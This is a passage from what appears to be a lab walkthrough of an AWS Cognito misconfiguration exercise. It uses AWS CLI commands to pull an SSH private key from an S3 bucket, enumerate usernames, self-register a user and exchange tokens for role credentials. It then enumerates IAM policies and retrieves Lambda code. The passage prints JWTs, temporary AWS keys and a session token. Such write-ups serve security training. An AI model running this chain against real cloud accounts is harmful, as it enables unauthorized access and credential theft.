oiUyhZwD/MCZiMOsTQ5cperOeXn3LmlQJWXEhN7IgyoWQLFHqam3bd9Trdp7Ih7tzQzP7AsjLvIXsHHXjaxLxXo15wRsNKVkod0HHJ8tbLGFxwKkJg1oVlYMIgHadV5rsg8HygwK2VraZTfsNzga8yO3SULD5IMzFgwfF0TGpxJ8/B9B9t2QT1pA8soFUFtWzAvzByWURiemQBKdE6DW+JEi4uPCatcU1MuGZGJ7g6QSDYrTxvXL//EmeDcNKzV9B5KF3fTAO2jg="

❯ aws --profile cognito sts get-caller-identity
{
    "UserId": "AROAWHEOTHRFRYHGIQFVK:CognitoIdentityCredentials",
    "Account": "427648302155",
    "Arn": "arn:aws:sts::427648302155:assumed-role/Cognito_StatusAppUnauth_Role/CognitoIdentityCredentials"
}

With valid credentials, let’s check out that S3 bucket that we found in the source code. We find that there is SSH private key which we will download that may come in handy later.

❯ aws --profile cognito s3 ls hl-app-images --recursive
2023-07-16 01:52:13       4052 hl.png
2023-07-16 02:10:54          0 temp/
2023-07-16 02:11:22       3428 temp/id_rsa

❯ aws --profile cognito s3 cp s3://hl-app-images/temp/id_rsa .
download: s3://hl-app-images/temp/id_rsa to ./id_rsa

User Pools

The team also found a publicly exposed Cognito Hosted UI for a web-app associated with a Cognito User Pool and the URL and the form reference the Client ID of 16f1g98bfuj9i0g3f8be36kkrl at https://huge-logistics.auth.us-east-1.amazoncognito.com/login?client_id=16f1g98bfuj9i0g3f8be36kkrl&response_type=code&scope=https%3A%2F%2Fapi.huge-logistics.com%2Fstatus+openid&redirect_uri=https%3A%2F%2Fhuge-logistics.com

There is a sign up field on the page but we shall use the AWS CLI for this and after numerous attempts due to insufficiently secure password and then finding out that there is an account called “hacker” already, which is not a good sign, we have been able to create an account.

❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username hacker --password thisisnotsecure --region us-east-1

An error occurred (InvalidPasswordException) when calling the SignUp operation: Password did not conform with policy: Password must have uppercase characters

❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username hacker --password Thisisnotsecure --region us-east-1

An error occurred (InvalidPasswordException) when calling the SignUp operation: Password did not conform with policy: Password must have numeric characters

❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username hacker --password Thisisnotsecure1 --region us-east-1

An error occurred (InvalidPasswordException) when calling the SignUp operation: Password did not conform with policy: Password must

❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username hacker --password Thisisnotsecure1! --region us-east-1

An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists


❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username legit_user --password Thisisnotsecure1! --region us-east-1
{
    "UserConfirmed": false,
    "UserSub": "a30cccde-b030-4020-a970-aa08d4e1f8e5"
}

What is interesting is that this is also possible to be used to enumerate for valid usernames as we saw above that our account hacker already existed

We can see from above that our account is not confirmed and this would appear to be using the AWS Recommended setting of “Allow Cognito to automatically send messages to verify and confirm” and as such we will need to specify and email address.

We create a one-time email address and then create a new account

❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username legit_user1 --password Thisisnotsecure1! --region us-east-1 --user-attributes Name="email",Value="cognito-lab.nutshell514@passmail.net" Name="name",Value="legit_user1"
{
    "UserConfirmed": false,
    "CodeDeliveryDetails": {
        "Destination": "c***@p***",
        "DeliveryMedium": "EMAIL",
        "AttributeName": "email"
    },
    "UserSub": "8c3554fc-9001-48a9-bc05-456cdd3dcf63"
}

We receive an email

We validate our account with the confirmation code with no output returned indicating it is successful and then we request a JWT

❯ aws cognito-idp confirm-sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username legit_user1 --confirmation-code 523324 --region us-east-1

❯ aws cognito-idp initiate-auth --client-id 16f1g98bfuj9i0g3f8be36kkrl --auth-flow USER_PASSWORD_AUTH --auth-parameters USERNAME=legit_user1,PASSWORD=Thisisnotsecure1! --region us-east-1
{
    "ChallengeParameters": {},
    "AuthenticationResult": {
        "AccessToken": "eyJraWQiOiJDTFRKamV3bm5sT3BXTmxzOTZhbW1veEtZaHFqMVBuWjJrMXdMVVg2bno0PSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4YzM1NTRmYy05MDAxLTQ4YTktYmMwNS00NTZjZGQzZGNmNjMiLCJpc3MiOiJodHRwczpcL1wvY29nbml0by1pZHAudXMtZWFzdC0xLmFtYXpvbmF3cy5jb21cL3VzLWVhc3QtMV84cmNLN2FidHoiLCJjbGllbnRfaWQiOiIxNmYxZzk4YmZ1ajlpMGczZjhiZTM2a2tybCIsIm9yaWdpbl9qdGkiOiI2YWE4NzRiOC0xY2Y1LTQ3NzktYmFkZS03ZThiYTlhZGMyMWUiLCJldmVudF9pZCI6IjE0M2MwZmI3LTVlNTUtNDc4YS04MzM2LTI0OWZjN2EzYmQ0ZSIsInRva2VuX3VzZSI6ImFjY2VzcyIsInNjb3BlIjoiYXdzLmNvZ25pdG8uc2lnbmluLnVzZXIuYWRtaW4iLCJhdXRoX3RpbWUiOjE3MjE4MTEzMDIsImV4cCI6MTcyMTgxNDkwMiwiaWF0IjoxNzIxODExMzAyLCJqdGkiOiIzNTYyMGEyMy0yODE1LTRjZjEtOWQzMS01YzUzYzA1MDRlMWYiLCJ1c2VybmFtZSI6ImxlZ2l0X3VzZXIxIn0.GUruvUKfiSdsByQFUISFMiLJjhk_vnEZNJaAdlK7t8u2Cc_JuT6JaCAEWtseJYonpKzYZ8jclEvcZ_6Y9t-wOA9g86LtaY0e9V1dW6I7Onq6wyjXdT1jskPIgfNgl5QejqpTsDJXQuNZWJ0xF-h_BmVO_CQjdtzOh264WcpOsuKP9fx_TNYYfn11PNo4kfDUDIfggSc_8ornX-lXQG1PASMtBg8PDkOqty7pJxWVZ4uWXYxzAlCzLZ4NAEmst7fhqc3hM6-U0FFE13_CCVGloq8TlMnVG1iUn7rZuSerzd1ijgP1tvEdMclIuAT4q-VAfWTHDapYsUAw19Xg9mYlew",
        "ExpiresIn": 3600,
        "TokenType": "Bearer",
        "RefreshToken": "eyJjdHkiOiJKV1QiLCJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiUlNBLU9BRVAifQ.yiQOM4ec4jcok2_QEdOYUmF5Y1xfA3VAFPdXyVN5-iZTrDQD-SQbreSkCAgEJnMRZN3_JBeacSX120_95wBRdZuzWlJoD42DG0naeoQX7rHq5BPWbX1A2Z1vlBNVY9GWmkZydxULMozbDn3bPIYSgGyJlvoX3PHOQzwuSQY4k3F4GYd5s0GI3_rWxyi5N_S6zTHeDUhzhaSIw_0tiinLNxYgqsHhm1GQ4MNLWnH5Oy44TytXbCFahuM99UtaNwQzLE5uqrZG32FBNhVojDp0gIiGn5FjL-xE5yVtx_s_YRvbER9ffcYYRtd_Ughyzp2BszaZfw66jlH0ZjaANXHRJQ.SfWXb9SwsWKfdssJ.UaBvkwdC85-Fg4cXJQXMCOB8YNoHX_If5VNW4LkUv3bbDFKAHvxue6vNpAdIaQUpr6ItTAprSQPj83c3MCeF3UvDAa0iZB42x2I2ZJGrj1dDqHTxMDHP25eukmVNYgrmbVPG9o_sGHaCqpQvpNWmhBKrebJJHAkfKNTdMFu6TafnVCs50d1LSk6wL2WLuBMXQhbvDCT1zktnxZ-aRbNmTqcGoCBTSf2gojSXMbwsztkjquCfJJLXNKlscSDntDu02xk3C1iS8IdcYHkYwwWALjL3LRthLthDXRJOa77AcpaYFPp8IQA1rv_JJHOxxURYnNOmt71W-wWGab4FyKciNZ65t8Lb4R1hM5L31sElkD8HEhRNrTZ8Elxz3vbvYFGPNegrvuvNusozhDp3-JW1ApS567ZIZkh2Z81THX64dBT-J4gWIAWcu-S_J318xFY2e6hPG4Jfj6UvBkCo-kA7LHQNW8COjHL4pu8bTNECw_Zm455b8nUyzCkkchxsspPiCZWdxKO0oyTVJLMDQ2BWLcju9vovwllvkQHfnIsIB1i8ujwVOpkgCG9aoDBOz9UwSBdBkhbDWzXBVgbtSbj876XfsY36dbIzzxhXoNQcjz3BF6OjRxTiY9Kg8t1YrdEb4FYx-WAJq9864ys2zMz7wN_MHo6QxDjXD4jDzRwhRA7jAngXooWQzS4GVq9JPLWVnz2qNgsY_IWunS8Z75_Wn6nDC5kOL00SwuqQg1KvC3lMYRzU5Dw7MBsZJl-mLt0Ohy4S4LuoftNt_E98hfu0HrWkNlzSmSdmd78t9aPVsTH9StkQB3xYGZ-yZrBI4hB5fAd4RJq110EgSQaujFccbrQqKFnI5BUqAfaQ4LPn38mLX4YHv7a0mGklPxZYL2vxW1b8cEBaL85IE8txxLgTk0tme71Rm5q_JjS-Cmqkbt25pYWoWvrnFiVMce_8Cp8Zd9z3AjSAzWAu71JLhq8_8yeimxoOWtRfO7AQMn3dy3WTVtBK05FkthdHvvWnTT1-d4tKRPxlHTZDx41AEx5lVWbIq0lLehqQCwdv7dRpiPjf4kn00zpBhGLCnWtYmMYHHD0qF8ZKgM6did4Ii5Ljl42QhTLyb3xhfl0O73n4vvoAqgEhY0SIWbOnu0BFbCXtKGmd5rRR9EoFST2AE0JV8xU3X7K5QZ4x82triMMI4jRiAhB4Yc0jms9OxAhariGcP3w0k9h1TR575sE08ogWtHeJXQmaHUa-jpZNsbgELy2AxelaSBcHWjuLNXpo5xYV81lqBRMoPPSFVw.maZZ38qA1tBcBSYvwzrGJQ",
        "IdToken": "eyJraWQiOiJqTWtSTTVsQnJNUzZxZXFJVWVCRVQyRlhHOUUrZjdwbXVLajM2VlVGMStrPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4YzM1NTRmYy05MDAxLTQ4YTktYmMwNS00NTZjZGQzZGNmNjMiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfOHJjSzdhYnR6IiwiY29nbml0bzp1c2VybmFtZSI6ImxlZ2l0X3VzZXIxIiwib3JpZ2luX2p0aSI6IjZhYTg3NGI4LTFjZjUtNDc3OS1iYWRlLTdlOGJhOWFkYzIxZSIsImF1ZCI6IjE2ZjFnOThiZnVqOWkwZzNmOGJlMzZra3JsIiwiZXZlbnRfaWQiOiIxNDNjMGZiNy01ZTU1LTQ3OGEtODMzNi0yNDlmYzdhM2JkNGUiLCJ0b2tlbl91c2UiOiJpZCIsImF1dGhfdGltZSI6MTcyMTgxMTMwMiwibmFtZSI6ImxlZ2l0X3VzZXIxIiwiZXhwIjoxNzIxODE0OTAyLCJpYXQiOjE3MjE4MTEzMDIsImp0aSI6IjhlMjgzMzRhLTYxNzgtNDM0MC04M2ZjLTNmYzM0NWE2NTRjZCIsImVtYWlsIjoiY29nbml0by1sYWIubnV0c2hlbGw1MTRAcGFzc21haWwubmV0In0.DNsQohA0w6kRN4GI8X4-dlonxGuqh85LYjzevsB95ZqnLKDns-k9iSIHcXIy1y2p4-CGmWuBAFMr6y0MTDTNLSdxFYoZJUBeNTfFUBYmBlvXUncip5XUwtfpjEJ0WWYAcsu8F_UK9Un3kwah3zDbavD5pFwIHEtqJLvLLXQsCH6KNbY_XZwZsmfNhYqXXOMml26KOfwvQR0FnvW3w7R8YtmhQt_UDOgWsIbl8hw-NmxYNrQZw7gzDi0sn-zuzhV08y5uOKfCKgJ4Zi4yZpkdZFbMh9ri21TEOKjhUgUSLlTZImy9yWxWzeq7BV5OpdEDWJ22l4lFP-xQFl5TqanAog"
    }
}

We use https://jwt.io to decode the JWT and we can see that we have the User Pool ID of 8rcK7abtz

Issue the command below that specifies the get-id action, coping the access token from IdToken , and specifying the user pool ID.

❯ aws cognito-identity get-id --identity-pool-id "us-east-1:d2fecd68-ab89-48ae-b70f-44de60381367" --region us-east-1 --logins "{ \"cognito-idp.us-east-1.amazonaws.com/us-east-1_8rcK7abtz\": \"eyJraWQiOiJqTWtSTTVsQnJNUzZxZXFJVWVCRVQyRlhHOUUrZjdwbXVLajM2VlVGMStrPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4YzM1NTRmYy05MDAxLTQ4YTktYmMwNS00NTZjZGQzZGNmNjMiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfOHJjSzdhYnR6IiwiY29nbml0bzp1c2VybmFtZSI6ImxlZ2l0X3VzZXIxIiwib3JpZ2luX2p0aSI6IjZhYTg3NGI4LTFjZjUtNDc3OS1iYWRlLTdlOGJhOWFkYzIxZSIsImF1ZCI6IjE2ZjFnOThiZnVqOWkwZzNmOGJlMzZra3JsIiwiZXZlbnRfaWQiOiIxNDNjMGZiNy01ZTU1LTQ3OGEtODMzNi0yNDlmYzdhM2JkNGUiLCJ0b2tlbl91c2UiOiJpZCIsImF1dGhfdGltZSI6MTcyMTgxMTMwMiwibmFtZSI6ImxlZ2l0X3VzZXIxIiwiZXhwIjoxNzIxODE0OTAyLCJpYXQiOjE3MjE4MTEzMDIsImp0aSI6IjhlMjgzMzRhLTYxNzgtNDM0MC04M2ZjLTNmYzM0NWE2NTRjZCIsImVtYWlsIjoiY29nbml0by1sYWIubnV0c2hlbGw1MTRAcGFzc21haWwubmV0In0.DNsQohA0w6kRN4GI8X4-dlonxGuqh85LYjzevsB95ZqnLKDns-k9iSIHcXIy1y2p4-CGmWuBAFMr6y0MTDTNLSdxFYoZJUBeNTfFUBYmBlvXUncip5XUwtfpjEJ0WWYAcsu8F_UK9Un3kwah3zDbavD5pFwIHEtqJLvLLXQsCH6KNbY_XZwZsmfNhYqXXOMml26KOfwvQR0FnvW3w7R8YtmhQt_UDOgWsIbl8hw-NmxYNrQZw7gzDi0sn-zuzhV08y5uOKfCKgJ4Zi4yZpkdZFbMh9ri21TEOKjhUgUSLlTZImy9yWxWzeq7BV5OpdEDWJ22l4lFP-xQFl5TqanAog\" }"
{
    "IdentityId": "us-east-1:6391d33c-4b07-cba2-f25f-e665d234b384"
}

We now will get-credentials-for-identity

❯ aws cognito-identity get-credentials-for-identity --identity-id us-east-1:6391d33c-4b07-cba2-f25f-e665d234b384 --region us-east-1 --logins "{ \"cognito-idp.us-east-1.amazonaws.com/us-east-1_8rcK7abtz\": \"eyJraWQiOiJqTWtSTTVsQnJNUzZxZXFJVWVCRVQyRlhHOUUrZjdwbXVLajM2VlVGMStrPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4YzM1NTRmYy05MDAxLTQ4YTktYmMwNS00NTZjZGQzZGNmNjMiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfOHJjSzdhYnR6IiwiY29nbml0bzp1c2VybmFtZSI6ImxlZ2l0X3VzZXIxIiwib3JpZ2luX2p0aSI6IjZhYTg3NGI4LTFjZjUtNDc3OS1iYWRlLTdlOGJhOWFkYzIxZSIsImF1ZCI6IjE2ZjFnOThiZnVqOWkwZzNmOGJlMzZra3JsIiwiZXZlbnRfaWQiOiIxNDNjMGZiNy01ZTU1LTQ3OGEtODMzNi0yNDlmYzdhM2JkNGUiLCJ0b2tlbl91c2UiOiJpZCIsImF1dGhfdGltZSI6MTcyMTgxMTMwMiwibmFtZSI6ImxlZ2l0X3VzZXIxIiwiZXhwIjoxNzIxODE0OTAyLCJpYXQiOjE3MjE4MTEzMDIsImp0aSI6IjhlMjgzMzRhLTYxNzgtNDM0MC04M2ZjLTNmYzM0NWE2NTRjZCIsImVtYWlsIjoiY29nbml0by1sYWIubnV0c2hlbGw1MTRAcGFzc21haWwubmV0In0.DNsQohA0w6kRN4GI8X4-dlonxGuqh85LYjzevsB95ZqnLKDns-k9iSIHcXIy1y2p4-CGmWuBAFMr6y0MTDTNLSdxFYoZJUBeNTfFUBYmBlvXUncip5XUwtfpjEJ0WWYAcsu8F_UK9Un3kwah3zDbavD5pFwIHEtqJLvLLXQsCH6KNbY_XZwZsmfNhYqXXOMml26KOfwvQR0FnvW3w7R8YtmhQt_UDOgWsIbl8hw-NmxYNrQZw7gzDi0sn-zuzhV08y5uOKfCKgJ4Zi4yZpkdZFbMh9ri21TEOKjhUgUSLlTZImy9yWxWzeq7BV5OpdEDWJ22l4lFP-xQFl5TqanAog\" }"
{
    "IdentityId": "us-east-1:6391d33c-4b07-cba2-f25f-e665d234b384",
    "Credentials": {
        "AccessKeyId": "ASIAWHEOTHRFV7HWQWXL",
        "SecretKey": "pPHkx7if25OhMucq+8U4uMua9zA64FBZz8NsN2PF",
        "SessionToken": "IQoJb3JpZ2luX2VjEMr//////////wEaCXVzLWVhc3QtMSJHMEUCIQCsHDELY5nt4a9VNcqCUQH00A4rL9rDDW/vVPOJDcyy/wIgR0YY3SmWQBdOarMg40QRG2n8zPytGWDQ4bO1+TCfzWQqzQQIov//////////ARAAGgw0Mjc2NDgzMDIxNTUiDGr3vvtNhaYuRmhZYyqhBO3G8PW+nPtYaj8uYdKLaeNp2d0twDb0KeGz+gaZEAu1dSdJZB+u6752p/HWQjNQ4Vz4JsMdVTDbBIQR6A/Vt+ssb0kxpM3/53sDJMd8n1Aon0xRJRUUMWj30uL7q2SJC/GjTmjO0ocYmGql3384ZtuKtAYhFNx2ZCj0ssfnf7JIABea1Ct0ppsImdSuzer//1JQZvkzVdaXVdONSm92Dn382jvT6AG+JXHzrS+CY7YahQCcYDiRuXPgQrySq75lfQUSz0z+DyCruMloh6SGT7ZXy+lJAK+aA0VOlGZBJxKqw6ld0GF+oWaz6aMnbMjlMMK9N8ULwH+iFYa0Mk5IsNlk5GsDCPDOmerKg+dKhQCBhxt42oGltUwS5Z1+7qG+SGXesQJncVIEAeu1m6RlW2ihZNtmy+vdDcRd4RiY291mBZWwtaNYhY60dackGAn2OXUYwNoVo3oUiwGCT+mkVHcw/SHSy3Ufaibr9bEIJfwQHbbOD7pc4GKGiZSDi0ib0f+9aZeR15Kvegiyw6CiFt5BaCQ9hZd8ASueXRU3+b6oytC0kRbVU2TgWKuB76UZxb5vRiQoLIlO57ADJdhEivDfSfgeHK/lnTpORqaTGgiCHK/ZdUEOhLOfAbHEkaATLQCGnqstjqPhsgLquPN9yk+fnqdTvG6f2NzYFAULN+sGk0M4Yscn5hpRv+wTNhCu7Vln9Eh1zdzYoU/E+fxJQEuyMN+Mg7UGOoUCeSlsb/963F6R3drueQoEb6vd2PaNUQAhGsMRRst6tTXHOvFXiOT77P6Bue0mzkD2/ll69Xr0vlcw+TD0VJ0uy/uXIMbkSFk6M3N3f3MengPo5SyKIjZpOLVnprIf3NCPuyVzg7vtpMVgzm21v8XnMSAI39Hw28tfNcRSkCPxy1rmS0UKERLN5qmBmpUI8XKtrc1TOdBL3D9IbxyjxEtmuV99aiaYd8rrCUvGDPKtECvTs0+2KktPC1+ZFe4fZp2PjpvEiqTVzRCVY0SkAcpUTK77S94XK/vGXc5s3hmtOMZzlhdRONN13GkFHOjWQU/SpoLdkmnBJoLNTQYuF0hK3+C8NsHT",
        "Expiration": "2024-07-24T18:16:15+08:00"
    }
}

We will configure the credentials again and confirm that these are working

❯ aws --profile cognito sts get-caller-identity
{
    "UserId": "AROAWHEOTHRFZ7HQ7Z6QA:CognitoIdentityCredentials",
    "Account": "427648302155",
    "Arn": "arn:aws:sts::427648302155:assumed-role/Cognito_StatusAppAuth_Role/CognitoIdentityCredentials"
}

This account appears to have more permissions so we will see what policies are attached to it

❯ aws --profile cognito iam list-role-policies --role-name Cognito_StatusAppAuth_Role
{
    "PolicyNames": [
        "oneClick_Cognito_StatusAppAuth_Role_1689349464673"
    ]
}

❯ aws --profile cognito iam list-attached-role-policies --role-name Cognito_StatusAppAuth_Role
{
    "AttachedPolicies": [
        {
            "PolicyName": "Status",
            "PolicyArn": "arn:aws:iam::427648302155:policy/Status"
        }
    ]
}

❯ aws --profile cognito iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Status
{
    "Policy": {
        "PolicyName": "Status",
        "PolicyId": "ANPAWHEOTHRF4PPCP4KUA",
        "Arn": "arn:aws:iam::427648302155:policy/Status",
        "Path": "/",
        "DefaultVersionId": "v4",
        "AttachmentCount": 2,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-07-13T21:07:44+00:00",
        "UpdateDate": "2023-07-15T09:43:20+00:00",
        "Tags": []
    }
}

Let’s now retrieve the policy document using aws --profile cognito iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Status --version-id v4

{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "lambda:InvokeFunction",
                        "lambda:GetFunction"
                    ],
                    "Resource": "arn:aws:lambda:us-east-1:427648302155:function:huge-logistics-status"
                },
                {
                    "Sid": "VisualEditor1",
                    "Effect": "Allow",
                    "Action": "lambda:ListFunctions",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2023-07-15T09:43:20+00:00"
    }
}

We have the Lambda List Functions permission and whilst we already have a function name, we will validate and also get more information using aws --profile cognito lambda list-functions

{
    "Functions": [
        {
            "FunctionName": "huge-logistics-status",
            "FunctionArn": "arn:aws:lambda:us-east-1:427648302155:function:huge-logistics-status",
            "Runtime": "python3.10",
            "Role": "arn:aws:iam::427648302155:role/service-role/huge-logistics-status-role-4m4kg3fv",
            "Handler": "lambda_function.lambda_handler",
            "CodeSize": 775,
            "Description": "",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2023-07-17T17:21:11.000+0000",
            "CodeSha256": "78BBjKChkzNIwtlGOiI9paXxi/IYSuzv1GUaXBNuqY0=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "287ac428-dfc2-4911-b003-e765795d1a5d",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/huge-logistics-status"
            }
        },
        {
            "FunctionName": "SecretsManagermysql-rotation",
            "FunctionArn": "arn:aws:lambda:us-east-1:427648302155:function:SecretsManagermysql-rotation",
            "Runtime": "python3.9",
            "Role": "arn:aws:iam::427648302155:role/SecretsManagerRDSMariaDBR-SecretsManagerRDSMariaDB-128H7L75TCDD5",
            "Handler": "lambda_function.lambda_handler",
            "CodeSize": 893992,
            "Description": "Rotates a Secrets Manager secret for Amazon RDS MariaDB credentials using the alternating users rotation strategy.",
            "Timeout": 30,
            "MemorySize": 128,
            "LastModified": "2023-07-12T18:48:35.825+0000",
            "CodeSha256": "LbavP2POQ9AcuPXX54bNIhLOPpMF7GYd/qmDa3WcIp0=",
            "Version": "$LATEST",
            "Environment": {
                "Variables": {
                    "EXCLUDE_CHARACTERS": "/@\"'\\",
                    "SECRETS_MANAGER_ENDPOINT": "https://secretsmanager.us-east-1.amazonaws.com"
                }
            },
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "108eb366-f627-488e-81c6-25a07003ecc4",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/SecretsManagermysql-rotation"
            }
        }
    ]
}

There are two functions listed, but we are only able to get additional information on huge-logistics-status and there is an S3 endpoint

❯ aws --profile cognito lambda get-function --function-name huge-logistics-status
{
    "Configuration": {
        "FunctionName": "huge-logistics-status",
        "FunctionArn": "arn:aws:lambda:us-east-1:427648302155:function:huge-logistics-status",
        "Runtime": "python3.10",
        "Role": "arn:aws:iam::427648302155:role/service-role/huge-logistics-status-role-4m4kg3fv",
        "Handler": "lambda_function.lambda_handler",
        "CodeSize": 775,
        "Description": "",
        "Timeout": 3,
        "MemorySize": 128,
        "LastModified": "2023-07-17T17:21:11.000+0000",
        "CodeSha256": "78BBjKChkzNIwtlGOiI9paXxi/IYSuzv1GUaXBNuqY0=",
        "Version": "$LATEST",
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "287ac428-dfc2-4911-b003-e765795d1a5d",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        },
        "SnapStart": {
            "ApplyOn": "None",
            "OptimizationStatus": "Off"
        },
        "RuntimeVersionConfig": {
            "RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:bbd47e5ef4020932b9374e2ab9f9ed3bac502f27e17a031c35d9fb8935cf1f8c"
        },
        "LoggingConfig": {
            "LogFormat": "Text",
            "LogGroup": "/aws/lambda/huge-logistics-status"
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com/snapshots/427648302155/huge-logistics-status-ebb6abbc-63e9-47f8-b5a3-9dfc4c2e69dc?versionId=GXaKVxYEoBEFPyPl3E9avQChcfMNvUCf&X-Amz-Security-Token=IQoJb3JpZ2luX2VjENr%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIH97Sh5SSH0xia54CuXAM7qsdU7ihMV9ZeEtpeSythRoAiEA7MnuXVEWZN8EkvDyiVGitkTdD5WNXBZ6nJnAwAJtofcqwwUIsv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAEGgw0NzkyMzMwMjUzNzkiDOCQLlp2L16xtzOWmyqXBco8bTCq5Jwb%2Fws8HZx%2B414lred68wQAuSjyl2%2Blgm%2BLW1dTFWEfuJAwvXpFd6w7i8GF54oLvwByT%2FSvfn6f9qW8enQ5ekz%2BxyJm6sHXoMmFjw3kLJvlAqUuMVcUaFcz%2FVwTgvhYjiuuh63aybhxBe8%2B7iNr1Q1kOq9r7iTFTajiJHbh%2FX1xRuW0hyueAsal9pwcwfTIozdqq%2BQCRY1hhG48SESY5bfdtvoK4Xt8zSbUiFXuHWKH5FwmC4K9G2PvXFQY2ESpV1Sk5nT1V5Vst4E%2B40mod3vUdWPy%2BFl%2FEV%2FVIeQdHQ6FoNC9oSBQhIPqxaYXI0akF9iJ32%2BoQDhR4NPgbXTvHWyVVfa2r3fxaHYEd6d1BBpNw%2Bbb2P2g8bvL%2Fuqk%2FZwea8jPKxRoNa3yeiiatpPi4HBpKzLsmYdoU8Nq7yjVIwm%2FvPhCAFWq%2BTyQmVblxyxRSsFAiHfXGPdrJachGM2xxmY%2Bjv2dlpTfWtRSp2mcq%2FQw6LUQZtHk3ab3ndYfK6FhP4h5MgNqJ6xsqiL4GOYe6zZa4kOrKKfEmQ2klutSNUIwRamiZsQFI0NXqJV9bzoG5Q7kXBhnzX1uhRjBM10MG%2F5X3niiyH0wS7HokKkdiUDYsbex7Nhj8dRkIxYuw%2BMgNIyGJ0he0fAOR98tYyWQApq%2FWCP%2BqlxUyi50cNis9vaJJEC%2Bv8fa%2BiCIUGPlYvXuRbskiCKOIPiW7jOrL35LcpRpa8I5B%2FB8RVfvBf1XO%2BX5It6MxGsT6veCGSWg4Ja3agxDs%2BCSvocY4Jw%2BgKjnEvx%2B9aFm%2Bfnlpf%2B5NrkmA6zrCVuQ0OgcuqmdEs267GH5%2FauGml4Quv43eqzu3jYrlTVzWp43hH4n%2FOHWLXLw0NNu%2BjCp0Ia1BjqxAdzqW5pkxVnEDKI1S9jPft12%2FYS2YAax%2F%2BmddJV6UPPUc0rlo4E1mPyteBnga%2FYZ7pgTQ1MOoJl96JCP0PUo4irD0ONpnC80Jui803j3ULlB5z6TZ6OqULEkeK5%2BTAi%2F%2B1uoMAl1zEvnC04kCRxfpg%2B3Rl1seja%2FLvtuad2eWwNSjgoMe%2BvR161mQfCthUd0gSD9fR6qmIEOZB%2BI9zHVmD8LKndT2JV7bH52GHdAJ91rzg%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20240725T021049Z&X-Amz-SignedHeaders=host&X-Amz-Expires=599&X-Amz-Credential=ASIAW7FEDUVRU3ZRZFPA%2F20240725%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=987b2f23efaf48e24adeb021fba1cc1261882eda39fb965ef0623826c27d9e1c"
    }
}

We have been able to download the zip file

